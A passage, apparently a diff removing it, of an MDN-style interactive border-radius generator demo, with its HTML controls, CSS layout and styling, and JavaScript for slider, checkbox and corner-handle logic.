-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="brw" class="ui-input-slider" data-topic="bottom-right-w"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="brh" class="ui-input-slider" data-topic="bottom-right-h"
-                        data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="blr" class="ui-input-slider" data-topic="bottom-left"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="blw" class="ui-input-slider" data-topic="bottom-left-w"
-                         data-unit=" px" data-sensivity="2"></div>
-
-                    <div id="blh" class="ui-input-slider" data-topic="bottom-left-h"
-                        data-unit=" px" data-sensivity="2"></div>
-                </div>
-            </div>
-        </div>
-    </div>
-    <div id="controls" class="group section">
-
-        <div class="group section">
-            <div id="dimensions">
-                <div class="ui-input-slider" data-topic="width" data-info="width"
-                     data-unit=" px" data-min="150" data-max="700" data-sensivity="1"></div>
-
-                <div class="ui-input-slider" data-topic="height" data-info="height"
-                    data-unit=" px" data-min="75" data-max="350" data-sensivity="1"></div>
-            </div>
-
-            <div id="output"></div>
-        </div>
-
-        <div class="group section">
-            <div id="radius-lock">
-                <div class="info"> rounded corner </div>
-                <div class="ui-checkbox" data-topic='top-left'></div>
-                <div class="ui-checkbox" data-topic='top-right'></div>
-                <div class="ui-checkbox" data-topic='bottom-right'></div>
-                <div class="ui-checkbox" data-topic='bottom-left'></div>
-            </div>
-
-            <div id="unit-selection">
-                <div class="info"> select border units </div>
-            </div>
-        </div>
-
-    </div>
-</div>
-
- -

CSS Content

- -
/*  GRID OF TEN
- * ========================================================================== */
-
-.span_12 {
-	width: 100%;
-}
-
-.span_11 {
-	width: 91.46%;
-}
-
-.span_10 {
-	width: 83%;
-}
-
-.span_9 {
-	width: 74.54%;
-}
-
-.span_8 {
-	width: 66.08%;
-}
-
-.span_7 {
-	width: 57.62%;
-}
-
-.span_6 {
-	width: 49.16%;
-}
-
-.span_5 {
-	width: 40.7%;
-}
-
-.span_4 {
-	width: 32.24%;
-}
-
-.span_3 {
-	width: 23.78%;
-}
-
-.span_2 {
-	width: 15.32%;
-}
-
-.span_1 {
-	width: 6.86%;
-}
-
-
-
-
-/*  SECTIONS
- * ========================================================================== */
-
-.section {
-	clear: both;
-	padding: 0px;
-	margin: 0px;
-}
-
-/*  GROUPING
- * ========================================================================== */
-
-
-.group:before, .group:after {
-    content: "";
-    display: table;
-}
-
-.group:after {
-    clear:both;
-}
-
-.group {
-    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
-}
-
-/*  GRID COLUMN SETUP
- * ========================================================================== */
-
-.col {
-	display: block;
-	float:left;
-	margin: 1% 0 1% 1.6%;
-}
-
-.col:first-child {
-	margin-left: 0;
-} /* all browsers except IE6 and lower */
-
-
-/*
- * UI Component
- */
-
-.ui-input-slider-container {
-	height: 20px;
-	margin: 10px 0;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	-moz-user-select: none;
-	user-select: none;
-}
-
-.ui-input-slider-container * {
-	float: left;
-	height: 100%;
-	line-height: 100%;
-}
-
-/* Input Slider */
-
-.ui-input-slider > input {
-	margin: 0;
-	padding: 0;
-	width: 50px;
-	text-align: center;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-.ui-input-slider-info {
-	width: 90px;
-	padding: 0px 10px 0px 0px;
-	text-align: right;
-	text-transform: lowercase;
-}
-
-.ui-input-slider-left, .ui-input-slider-right {
-	width: 16px;
-	cursor: pointer;
-	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
-}
-
-.ui-input-slider-right {
-	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
-}
-
-.ui-input-slider-name {
-	width: 90px;
-	padding: 0 10px 0 0;
-	text-align: right;
-	text-transform: lowercase;
-}
-
-.ui-input-slider-btn-set {
-	width: 25px;
-	background-color: #2C9FC9;
-	border-radius: 5px;
-	color: #FFF;
-	font-weight: bold;
-	line-height: 14px;
-	text-align: center;
-}
-
-.ui-input-slider-btn-set:hover {
-	background-color: #379B4A;
-	cursor: pointer;
-}
-
-/*
- * UI Component
- */
-
-/* Checkbox */
-
-.ui-checkbox {
-	text-align: center;
-	font-size: 16px;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	line-height: 1.5em;
-	color: #FFF;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-	user-select: none;
-}
-
-.ui-checkbox > input {
- 	display: none;
-}
-
-.ui-checkbox > label {
-	font-size: 12px;
-	padding: 0.333em 1.666em 0.5em;
-	height: 1em;
-	line-height: 1em;
-
-	background-color: #888;
-	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
-	background-position: center center;
-	background-repeat: no-repeat;
-
-	color: #FFF;
-	border-radius: 3px;
-	font-weight: bold;
-	float: left;
-}
-
-.ui-checkbox .text {
-	padding-left: 34px;
-	background-position: center left 10px;
-}
-
-.ui-checkbox .left {
-	padding-right: 34px;
-	padding-left: 1.666em;
-	background-position: center right 10px;
-}
-
-.ui-checkbox > label:hover {
-	cursor: pointer;
-}
-
-.ui-checkbox > input:checked + label {
-	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
-	background-color: #379B4A;
-}
-
-body {
-	max-width: 1000px;
-	margin: 0 auto;
-
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-	user-select: none;
-}
-
-#container {
-	width: 100%;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-/******************************************************************************/
-/******************************************************************************/
-/*
- * Preview Area
- */
-
-#preview {
-	height: 500px;
-	border: 1px solid #CCC;
-	border-radius: 3px;
-	text-align: center;
-	overflow: hidden;
-	position: relative;
-}
-
-#preview .content {
-	width: 100%;
-	height: 100%;
-	display: block;
-}
-
-#preview input {
-	color: #333;
-	border: 1px solid #CCC;
-	border-radius: 3px;
-}
-
-#subject {
-	width: 400px;
-	height: 150px;
-	margin: 0 auto;
-	border: 3px solid #C60;
-	background: #FFF;
-	position: relative;
-}
-
-.radius {
-	width: 50%;
-	height: 50%;
-	border: 1px solid #CCC;
-	display: none;
-	position: absolute;
-	z-index: 1;
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-.handle {
-	width: 16px;
-	height: 16px;
-	position: absolute;
-	z-index: 2;
-}
-
-.handle-top-left {
-	top: -12px;
-	left: -12px;
-	cursor: se-resize;
-	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top left no-repeat;
-}
-
-.handle-top-right {
-	top: -12px;
-	right: -12px;
-	cursor: sw-resize;
-	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top right no-repeat;
-}
-
-.handle-bottom-right {
-	bottom: -12px;
-	right: -12px;
-	cursor: nw-resize;
-	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom right no-repeat;
-}
-
-.handle-bottom-left {
-	bottom: -12px;
-	left: -12px;
-	cursor: ne-resize;
-	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom left no-repeat;
-}
-
-
-.radius-container {
-	position: absolute;
-	display : block;
-	z-index: 1;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-
-/* TOP LEFT */
-#top-left {
-	top: 0;
-	left: 0;
-}
-
-#top-left .radius {
-	border-top-left-radius: 100%;
-	top: 0;
-	left: 0;
-}
-
-/* TOP RIGHT */
-#top-right {
-	top: 0;
-	right: 0;
-}
-
-#top-right .radius {
-	border-top-right-radius: 100%;
-	top: 0;
-	right: 0;
-}
-
-/* BOTTOM RIGHT */
-#bottom-right {
-	bottom: 0;
-	right: 0;
-}
-
-#bottom-right .radius {
-	border-bottom-right-radius: 100%;
-	bottom: 0;
-	right: 0;
-}
-
-/* BOTTOM lEFT */
-#bottom-left {
-	bottom: 0;
-	left: 0;
-}
-
-#bottom-left .radius {
-	border-bottom-left-radius: 100%;
-	bottom: 0;
-}
-
-/* INPUT SLIDERS */
-
-#preview .ui-input-slider {
-	margin: 10px;
-	position: absolute;
-	z-index: 10;
-}
-
-#radius-ui-sliders {
-	width: 100%;
-	height: 100%;
-	min-height: 75px;
-	min-width: 150px;
-	padding: 20px 50px;
-	top: -20px;
-	left: -50px;
-	position: relative;
-}
-
-#tlr {
-	top: -30px;
-	left: -50px;
-	display: none;
-}
-
-#tlw {
-	top: -30px;
-	left: 30px;
-}
-
-#tlh {
-	top: 20px;
-	left: -50px;
-}
-
-#trr {
-	top: -30px;
-	right: -50px;
-	display: none;
-}
-
-#trw {
-	top: -30px;
-	right: 30px;
-}
-
-#trh {
-	top: 20px;
-	right: -50px;
-}
-
-#brr {
-	bottom: -30px;
-	right: -50px;
-	display: none;
-}
-
-#brw {
-	bottom: -30px;
-	right: 30px;
-}
-
-#brh {
-	bottom: 20px;
-	right: -50px;
-}
-
-#blr {
-	bottom: -30px;
-	left: -50px;
-	display: none;
-}
-
-#blw {
-	bottom: -30px;
-	left: 30px;
-}
-
-#blh {
-	bottom: 20px;
-	left: -50px;
-}
-
-#preview .ui-input-slider-left, #preview .ui-input-slider-right {
-	visibility: hidden;
-}
-
-#preview .ui-input-slider-container:hover .ui-input-slider-left {
-	visibility: visible;
-}
-
-#preview .ui-input-slider-container:hover .ui-input-slider-right {
-	visibility: visible;
-}
-
-/*
- *
- */
-
-#unit-selection {
-	width: 200px;
-	height: 75px;
-	margin: 30px 30px 0 0;
-	padding: 30px;
-	border: 3px solid #555;
-	border-radius: 10px;
-	position: relative;
-	float: right;
-}
-
-#unit-selection .info {
-	height: 20%;
-	width: 100%;
-	line-height: 20%;
-	font-size: 20px;
-	text-align: center;
-	position: relative;
-	top: 40%;
-}
-
-#unit-selection .dropdown {
-	width: 50px;
-	height: 20px;
-	margin: 10px;
-	padding: 0;
-	border-radius: 3px;
-	position: absolute;
-	overflow: hidden;
-}
-
-#unit-selection select {
-	width: 50px;
-	height: 20px;
-	marign: 0;
-	padding: 0 0 0 10px;
-	background: #555;
-	border: 1px solid #555;
-	border: none;
-	color: #FFF;
-	float: left;
-}
-
-#unit-selection select option {
-	background: #FFF;
-	color: #333;
-}
-
-#unit-selection select:hover {
-	cursor: pointer;
-}
-
-#unit-selection .dropdown:before {
-	content: "";
-	width: 18px;
-	height: 20px;
-	display: block;
-	background-color: #555;
-	background-image: url("https://mdn.mozillademos.org/files/5675/dropdown.png");
-	background-position: center center;
-	background-repeat: no-repeat;
-	top: 0px;
-	right: 0px;
-	position: absolute;
-	z-index: 1;
-	pointer-events: none;
-}
-
-#unit-selection .unit-top-left {
-	top: 0;
-	left: 0;
-	display: none;
-}
-
-#unit-selection .unit-top-left-w {
-	top: -22px;
-	left: 30px;
-}
-
-#unit-selection .unit-top-left-h {
-	top: 20px;
-	left: -37px;
-}
-
-#unit-selection .unit-top-right {
-	top: 0;
-	right: 0;
-	display: none;
-}
-
-#unit-selection .unit-top-right-w {
-	top: -22px;
-	right: 30px;
-}
-
-#unit-selection .unit-top-right-h {
-	top: 20px;
-	right: -37px;
-}
-
-#unit-selection .unit-bottom-right {
-	bottom: 0;
-	right: 0;
-	display: none;
-}
-
-#unit-selection .unit-bottom-right-w {
-	bottom: -22px;
-	right: 30px;
-}
-
-#unit-selection .unit-bottom-right-h {
-	bottom: 20px;
-	right: -37px;
-}
-
-#unit-selection .unit-bottom-left {
-	bottom: 0;
-	left: 0;
-	display: none;
-}
-
-#unit-selection .unit-bottom-left-w {
-	bottom: -22px;
-	left: 30px;
-}
-
-#unit-selection .unit-bottom-left-h {
-	bottom: 20px;
-	left: -37px;
-}
-
-/******************************************************************************/
-/******************************************************************************/
-
-
-#radius-lock {
-	width: 200px;
-	height: 75px;
-	margin: 30px 0 0 30px;
-	padding: 30px;
-	border: 3px solid #555;
-	border-radius: 10px;
-	position: relative;
-	float: left;
-}
-
-#radius-lock .ui-checkbox {
-	color: #FFF;
-	position: absolute;
-}
-
-#radius-lock .ui-checkbox > label {
-	height: 20px;
-	width: 34px;
-	padding: 0;
-}
-
-#radius-lock .info {
-	height: 20%;
-	width: 100%;
-	line-height: 20%;
-	font-size: 20px;
-	text-align: center;
-	position: relative;
-	top: 40%;
-}
-
-#radius-lock [data-topic="top-left"] {
-	top: 10px;
-	left: 10px;
-}
-
-#radius-lock [data-topic="top-right"] {
-	top: 10px;
-	right: 10px;
-}
-
-#radius-lock [data-topic="bottom-right"] {
-	bottom: 10px;
-	right: 10px;
-}
-
-#radius-lock [data-topic="bottom-left"] {
-	bottom: 10px;
-	left: 10px;
-}
-
-/**
- * Controls
- */
-
-#dimensions {
-	width: 200px;
-	color: #444;
-	float:left;
-}
-
-#dimensions input {
-	background: #555;
-	color: #FFF;
-	border: none;
-	border-radius: 3px;
-}
-
-#output {
-	width: 500px;
-	padding: 10px 0;
-	margin: 10px 0;
-	color: #555;
-	text-align: center;
-	border: 1px dashed #999;
-	border-radius: 3px;
-	-moz-user-select: text;
-	-webkit-user-select: text;
-	-ms-user-select: text;
-	user-select: text;
-
-	float: right;
-}
-
-
-
- -

JavaScript Content

- -
'use strict';
-
-
-/**
- * UI-InputSliderManager
- */
-
-var InputSliderManager = (function InputSliderManager() {
-
-	var subscribers = {};
-	var sliders = [];
-
-	var InputComponent = function InputComponent(obj) {
-		var input = document.createElement('input');
-		input.setAttribute('type', 'text');
-
-		input.addEventListener('click', function(e) {
-			this.select();
-		});
-
-		input.addEventListener('change', function(e) {
-			var value = parseInt(e.target.value);
-
-			if (isNaN(value) === true)
-				setValue(obj.topic, obj.value);
-			else
-				setValue(obj.topic, value);
-		});
-
-		subscribe(obj.topic, function(value) {
-			input.value = value + obj.unit;
-		});
-
-		return input;
-	}
-
-	var SliderComponent = function SliderComponent(obj, sign) {
-		var slider = document.createElement('div');
-		var startX = null;
-		var start_value = 0;
-
-		slider.addEventListener("click", function(e) {
-			setValue(obj.topic, obj.value + obj.step * sign);
-		});
-
-		slider.addEventListener("mousedown", function(e) {
-			startX = e.clientX;
-			start_value = obj.value;
-			document.body.style.cursor = "e-resize";
-			document.addEventListener("mousemove", sliderMotion);
-		});
-
-		document.addEventListener("mouseup", function(e) {
-			document.removeEventListener("mousemove", sliderMotion);
-			document.body.style.cursor = "auto";
-			slider.style.cursor = "pointer";
-		});
-
-		var sliderMotion = function sliderMotion(e) {
-			slider.style.cursor = "e-resize";
-			var delta = (e.clientX - startX) / obj.sensivity | 0;
-			var value = delta * obj.step + start_value;
-			setValue(obj.topic, value);
-		}
-
-		return slider;
-	}
-
-	var InputSlider = function(node) {
-		var min		= node.getAttribute('data-min') | 0;
-		var max		= node.getAttribute('data-max') | 0;
-		var step	= node.getAttribute('data-step') | 0;
-		var value	= node.getAttribute('data-value') | 0;
-		var topic	= node.getAttribute('data-topic');
-		var unit	= node.getAttribute('data-unit');
-		var name 	= node.getAttribute('data-info');
-		var sensivity = node.getAttribute('data-sensivity') | 0;
-
-		this.min = min;
-		this.max = max > 0 ? max : 100;
-		this.step = step === 0 ? 1 : step;
-		this.topic = topic;
-		this.node = node;
-		this.unit = unit;
-		this.sensivity = sensivity > 0 ? sensivity : 5;
-
-		var input = new InputComponent(this);
-		var slider_left  = new SliderComponent(this, -1);
-		var slider_right = new SliderComponent(this,  1);
-
-		slider_left.className = 'ui-input-slider-left';
-		slider_right.className = 'ui-input-slider-right';
-
-		if (name) {
-			var info = document.createElement('span');
-			info.className = 'ui-input-slider-info';
-			info.textContent = name;
-			node.appendChild(info);
-		}
-
-		node.appendChild(slider_left);
-		node.appendChild(input);
-		node.appendChild(slider_right);
-		node.className = 'ui-input-slider ui-input-slider-container';
-
-		this.input = input;
-		sliders[topic] = this;
-		setValue(topic, value);
-	}
-
-	var setValue = function setValue(topic, value, send_notify) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		if (value > slider.max) value = slider.max;
-		if (value < slider.min)	value = slider.min;
-
-		slider.value = value;
-		slider.node.setAttribute('data-value', value);
-
-		if (send_notify !== undefined && send_notify === false) {
-			slider.input.value = value + slider.unit;
-			return;
-		}
-
-		notify.call(slider);
-	}
-
-	var setMax = function setMax(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.max = value;
-		setValue(topic, slider.value);
-	}
-
-	var setMin = function setMin(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.min = value;
-		setValue(topic, slider.value);
-	}
-
-	var setUnit = function setUnit(topic, unit) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.unit = unit;
-		setValue(topic, slider.value);
-	}
-
-	var getNode =  function getNode(topic) {
-		return sliders[topic].node;
-	}
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-		subscribers[topic].push(callback);
-	}
-
-	var unsubscribe = function unsubscribe(topic, callback) {
-		subscribers[topic].indexOf(callback);
-		subscribers[topic].splice(index, 1);
-	}
-
-	var notify = function notify() {
-		for (var i in subscribers[this.topic]) {
-			subscribers[this.topic][i](this.value);
-		}
-	}
-
-	var init = function init() {
-		var elem = document.querySelectorAll('.ui-input-slider');
-		var size = elem.length;
-		for (var i = 0; i < size; i++)
-			new InputSlider(elem[i]);
-	}
-
-	return {
-		init : init,
-		setMax : setMax,
-		setMin : setMin,
-		setUnit : setUnit,
-		getNode : getNode,
-		setValue : setValue,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe
-	}
-
-})();
-
-/**
- * UI-ButtonManager
- */
-
-var ButtonManager = (function CheckBoxManager() {
-
-	var subscribers = [];
-	var buttons = [];
-
-	var CheckBox = function CheckBox(node) {
-		var topic = node.getAttribute('data-topic');
-		var state = node.getAttribute('data-state');
-		var name = node.getAttribute('data-label');
-		var align = node.getAttribute('data-text-on');
-
-		state = (state === "true");
-
-		var checkbox = document.createElement("input");
-		var label = document.createElement("label");
-
-		var id = 'checkbox-' + topic;
-		checkbox.id = id;
-		checkbox.setAttribute('type', 'checkbox');
-		checkbox.checked = state;
-
-		label.setAttribute('for', id);
-		if (name) {
-			label.className = 'text';
-			if (align)
-				label.className += ' ' + align;
-			label.textContent = name;
-		}
-
-		node.appendChild(checkbox);
-		node.appendChild(label);
-
-		this.node = node;
-		this.topic = topic;
-		this.checkbox = checkbox;
-
-		checkbox.addEventListener('change', function(e) {
-			notify.call(this);
-		}.bind(this));
-
-		buttons[topic] = this;
-	}
-
-	var getNode =  function getNode(topic) {
-		return buttons[topic].node;
-	}
-
-	var setValue = function setValue(topic, value) {
-		try {
-			buttons[topic].checkbox.checked = value;
-		}
-		catch(error) {
-			console.log(error);
-		}
-	}
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-
-		subscribers[topic].push(callback);
-	}
-
-	var unsubscribe = function unsubscribe(topic, callback) {
-		subscribers[topic].indexOf(callback);
-		subscribers[topic].splice(index, 1);
-	}
-
-	var notify = function notify() {
-		for (var i = 0; i < subscribers[this.topic].length; i++)
-			subscribers[this.topic][i](this.checkbox.checked);
-	}
-
-	var init = function init() {
-		var elem = document.querySelectorAll('.ui-checkbox');
-		var size = elem.length;
-		for (var i = 0; i < size; i++)
-			new CheckBox(elem[i]);
-	}
-
-	return {
-		init : init,
-		setValue : setValue,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe
-	}
-
-})();
-
-
-window.addEventListener("load", function() {
-	BorderRadius.init();
-});
-
-var BorderRadius = (function BorderRadius() {
-
-	function getElemById(id) {
-		return document.getElementById(id);
-	}
-
-	/**
-	 * Shadow dragging
-	 */
-	var PreviewMouseTracking = (function Drag() {
-		var active = false;
-		var lastX = 0;
-		var lastY = 0;
-		var subscribers = [];
-
-		var init = function init(id) {
-			var elem = getElemById(id);
-			elem.addEventListener('mousedown', dragStart, false);
-			document.addEventListener('mouseup', dragEnd, false);
-		}
-
-		var dragStart = function dragStart(e) {
-			if (e.button !== 0)
-				return;
-
-			active = true;
-			lastX = e.clientX;
-			lastY = e.clientY;
-			document.addEventListener('mousemove', mouseDrag, false);
-		}
-
-		var dragEnd = function dragEnd(e) {
-			if (e.button !== 0)
-				return;
-
-			if (active === true) {
-				active = false;
-				document.removeEventListener('mousemove', mouseDrag, false);
-			}
-		}
-
-		var mouseDrag = function mouseDrag(e) {
-			notify(e.clientX - lastX, e.clientY - lastY);
-			lastX = e.clientX;
-			lastY = e.clientY;
-		}
-
-		var subscribe = function subscribe(callback) {
-			subscribers.push(callback);
-		}
-
-		var unsubscribe = function unsubscribe(callback) {
-			var index = subscribers.indexOf(callback);
-			subscribers.splice(index, 1);
-		}
-
-		var notify = function notify(deltaX, deltaY) {
-			for (var i in subscribers)
-				subscribers[i](deltaX, deltaY);
-		}
-
-		return {
-			init : init,
-			subscribe : subscribe,
-			unsubscribe : unsubscribe
-		}
-
-	})();
-
-	var subject;
-	var units = ['px', '%'];
-	var output = null;
-
-	var UnitSelector = function UnitSelector(topic) {
-
-		this.container = document.createElement("div");
-		this.select = document.createElement("select");
-		for (var i in units) {
-			var option = document.createElement("option");
-			option.value = i;
-			option.textContent = units[i];
-			this.select.appendChild(option);
-		}
-
-		this.container.className = 'dropdown ' + 'unit-' + topic;
-		this.container.appendChild(this.select);
-	}
-
-	UnitSelector.prototype.setValue = function setValue(value) {
-		this.salect.value = value;
-	}
-
-
-	var RadiusContainer = function RadiusContainer(node) {
-		var radius = document.createElement('div');
-		var handle = document.createElement('div');
-		var x = node.getAttribute('data-x');
-		var y = node.getAttribute('data-y');
-		var active = false;
-
-		this.id = node.id;
-		this.node = node;
-		this.radius = radius;
-		this.handle = handle;
-		this.width = 100;
-		this.height = 50;
-		this.size = 0;
-		this.rounded = false;
-
-		this.unitX = 0;
-		this.unitY = 0;
-		this.unitR = 0;
-
-		this.maxW = 100;
-		this.maxH = 100;
-		this.maxR = 100;
-
-		this.topic = y + '-' + x;
-
-		var sliderW = InputSliderManager.getNode(this.topic + '-w');
-		var sliderH = InputSliderManager.getNode(this.topic + '-h');
-		var sliderR = InputSliderManager.getNode(this.topic);
-
-		this.setUnitX(this.unitX);
-		this.setUnitY(this.unitY);
-		this.setUnitR(this.unitR);
-
-		this.updateWidth();
-		this.updateHeight();
-		this.updateRadius();
-
-		if (x === 'left')	this.resizeX =  1;
-		if (x === 'right')	this.resizeX = -1;
-		if (y === 'top')	this.resizeY =  1;
-		if (y === 'bottom')	this.resizeY = -1;
-
-		radius.className = 'radius';
-
-		var unit_selector = document.getElementById("unit-selection");
-		var unitW = new UnitSelector(this.topic + '-w');
-		var unitH = new UnitSelector(this.topic + '-h');
-		var unitR = new UnitSelector(this.topic);
-
-		unit_selector.appendChild(unitW.container);
-		unit_selector.appendChild(unitH.container);
-		unit_selector.appendChild(unitR.container);
-		node.appendChild(radius);
-		subject.appendChild(handle);
-
-		unitW.select.addEventListener('change', function(e) {
-			this.setUnitX(e.target.value | 0);
-		}.bind(this));
-
-		unitH.select.addEventListener('change', function(e) {
-			this.setUnitY(e.target.value | 0);
-		}.bind(this));
-
-		unitR.select.addEventListener('change', function(e) {
-			this.setUnitR(e.target.value | 0);
-		}.bind(this));
-
-		if (x === 'left' && y == 'top') handle.className = 'handle handle-top-left'
-		if (x === 'right' && y == 'top') handle.className = 'handle handle-top-right';
-		if (x === 'right' && y == 'bottom') handle.className = 'handle handle-bottom-right';
-		if (x === 'left' && y == 'bottom') 	handle.className = 'handle handle-bottom-left';
-
-		handle.addEventListener("mousedown", function(e) {
-			active = true;
-			this.radius.style.display = 'block';
-			PreviewMouseTracking.subscribe(this.updateContainer.bind(this));
-		}.bind(this));
-
-		document.addEventListener("mouseup", function(e) {
-			this.radius.style.display = 'none';
-			if (active === true)
-				PreviewMouseTracking.unsubscribe(this.updateContainer.bind(this));
-		}.bind(this));
-
-		InputSliderManager.subscribe(this.topic + '-w', this.setWidth.bind(this));
-		InputSliderManager.subscribe(this.topic + '-h', this.setHeight.bind(this));
-		InputSliderManager.subscribe(this.topic, this.setRadius.bind(this));
-
-		ButtonManager.subscribe(this.topic, function(value) {
-			this.rounded = value;
-			if (value === true) {
-				unitW.container.style.display = 'none';
-				unitH.container.style.display = 'none';
-				unitR.container.style.display = 'block';
-				sliderW.style.display = 'none';
-				sliderH.style.display = 'none';
-				sliderR.style.display = 'block';
-				this.setUnitR(this.unitR);
-				this.updateRadius();
-			}
-
-			if (value === false) {
-				unitW.container.style.display = 'block';
-				unitH.container.style.display = 'block';
-				unitR.container.style.display = 'none';
-				sliderW.style.display = 'block';
-				sliderH.style.display = 'block';
-				sliderR.style.display = 'none';
-				this.setUnitX(this.unitX);
-				this.setUnitY(this.unitY);
-				this.updateWidth();
-				this.updateHeight();
-			}
-
-			this.updateBorderRadius();
-
-		}.bind(this));
-
-		this.updateBorderRadius();
-	}
-
-	RadiusContainer.prototype.updateWidth = function updateWidth() {
-		this.node.style.width = this.width + units[this.unitX];
-		var value = Math.round(this.width / 2);
-		InputSliderManager.setValue(this.topic + '-w', value, false);
-	}
-
-	RadiusContainer.prototype.updateHeight = function updateHeight() {
-		this.node.style.height = this.height + units[this.unitY];
-		var value = Math.round(this.height / 2);
-		InputSliderManager.setValue(this.topic + '-h', value, false);
-	}
-
-	RadiusContainer.prototype.updateRadius = function updateRadius() {
-		var value = Math.round(this.size / 2);
-		this.node.style.width = this.size + units[this.unitR];
-		this.node.style.height = this.size + units[this.unitR];
-		InputSliderManager.setValue(this.topic, value, false);
-	}
-
-	RadiusContainer.prototype.setWidth = function setWidth(value) {
-		this.radius.style.display = 'block';
-		this.width = 2 * value;
-		this.node.style.width = this.width + units[this.unitX];
-		this.updateBorderRadius();
-	}
-
-	RadiusContainer.prototype.setHeight = function setHeight(value) {
-		this.radius.style.display = 'block';
-		this.height = 2 * value;
-		this.node.style.height = this.height + units[this.unitY];
-		this.updateBorderRadius();
-	}
-
-	RadiusContainer.prototype.setRadius = function setRadius(value) {
-		this.radius.style.display = 'block';
-		this.size = 2 * value;
-		this.node.style.width = this.size + units[this.unitR];
-		this.node.style.height = this.size + units[this.unitR];
-		this.updateBorderRadius();
-	}
-
-	RadiusContainer.prototype.setUnitX = function setUnitX(value) {
-		this.unitX = value;
-		if (this.unitX === 0) this.maxW = 2 * subject.clientWidth;
-		if (this.unitX === 1) this.maxW = 200;
-		InputSliderManager.setUnit(this.topic + '-w', units[this.unitX]);
-		InputSliderManager.setMax(this.topic + '-w', this.maxW / 2);
-	}
-
-	RadiusContainer.prototype.setUnitY = function setUnitY(value) {
-		this.unitY = value;
-		if (this.unitY === 0) this.maxH = 2 * subject.clientHeight;
-		if (this.unitY === 1) this.maxH = 200;
-		InputSliderManager.setUnit(this.topic + '-h', units[this.unitY]);
-		InputSliderManager.setMax(this.topic + '-h', this.maxH / 2);
-	}
-
-	RadiusContainer.prototype.setUnitR = function setUnitR(value) {
-		this.unitR = value;
-
-		if (this.unitR === 0)
-			this.maxR = 2 * Math.min(subject.clientHeight , subject.clientWidth);
-
-		if (this.unitR === 1)
-			this.maxR = 200;
-
-		InputSliderManager.setUnit(this.topic, units[this.unitR]);
-		InputSliderManager.setMax(this.topic, this.maxR / 2);
-	}
-
-	RadiusContainer.prototype.updateUnits = function updateUnits(unit) {
-		if (this.rounded) {
-			this.setUnitR(this.unitR);
-			return;
-		}
-
-		if (unit === 0)
-			this.setUnitX(this.unitX);
-
-		if (unit === 1)
-			this.setUnitY(this.unitY);
-	}
-
-	RadiusContainer.prototype.composeBorderRadius = function composeBorderRadius () {
-
-		if (this.rounded === true) {
-			var unit = units[this.unitR];
-			var value = Math.round(this.size / 2);
-			return value + unit;
-		}
-
-		var unitX = units[this.unitX];
-		var unitY = units[this.unitY];
-		var valueX = Math.round(this.width / 2);
-		var valueY = Math.round(this.height / 2);
-
-		if (valueX === valueY && this.unitX === this.unitY)
-			return valueX + unitX;
-
-		return valueX + unitX + ' ' + valueY + unitY;
-	}
-
-	RadiusContainer.prototype.updateBorderRadius = function updateBorderRadius () {
-		var radius = this.composeBorderRadius();
-		var corner = 0;
-
-		if (this.topic === 'top-left') {
-			subject.style.borderTopLeftRadius = radius;
-			corner = 0;
-		}
-
-		if (this.topic === 'top-right') {
-			subject.style.borderTopRightRadius = radius;
-			corner = 1;
-		}
-
-		if (this.topic === 'bottom-right') {
-			subject.style.borderBottomRightRadius = radius;
-			corner = 2;
-		}
-
-		if (this.topic === 'bottom-left') {
-			subject.style.borderBottomLeftRadius = radius;
-			corner = 3;
-		}
-
-		Tool.updateOutput(corner, radius);
-	}
-
-	RadiusContainer.prototype.updateContainer = function updateContainer(deltaX, deltaY) {
-
-		if (this.rounded === true) {
-			this.size += this.resizeX * deltaX + this.resizeY * deltaY;
-			if (this.size < 0)	this.size = 0;
-			if (this.size > this.maxR)	this.size = this.maxR;
-			this.updateRadius();
-			this.updateBorderRadius();
-			return;
-		}
-
-		if (deltaX) {
-			this.width += this.resizeX * deltaX;
-			if (this.width < 0)	this.width = 0;
-			if (this.width > this.maxW)	this.width = this.maxW;
-			this.updateWidth();
-		}
-
-		if (deltaY) {
-			this.height += this.resizeY * deltaY;
-			if (this.height < 0) this.height = 0;
-			if (this.height > this.maxH)	this.height = this.maxH;
-			this.updateHeight();
-		}
-
-		if (deltaX || deltaY)
-			this.updateBorderRadius();
-	}
-
-
-	/**
-	 * Tool Manager
-	 */
-	var Tool = (function Tool() {
-		var preview;
-		var preview_ui;
-		var radius_containers = [];
-		var border_width = 3;
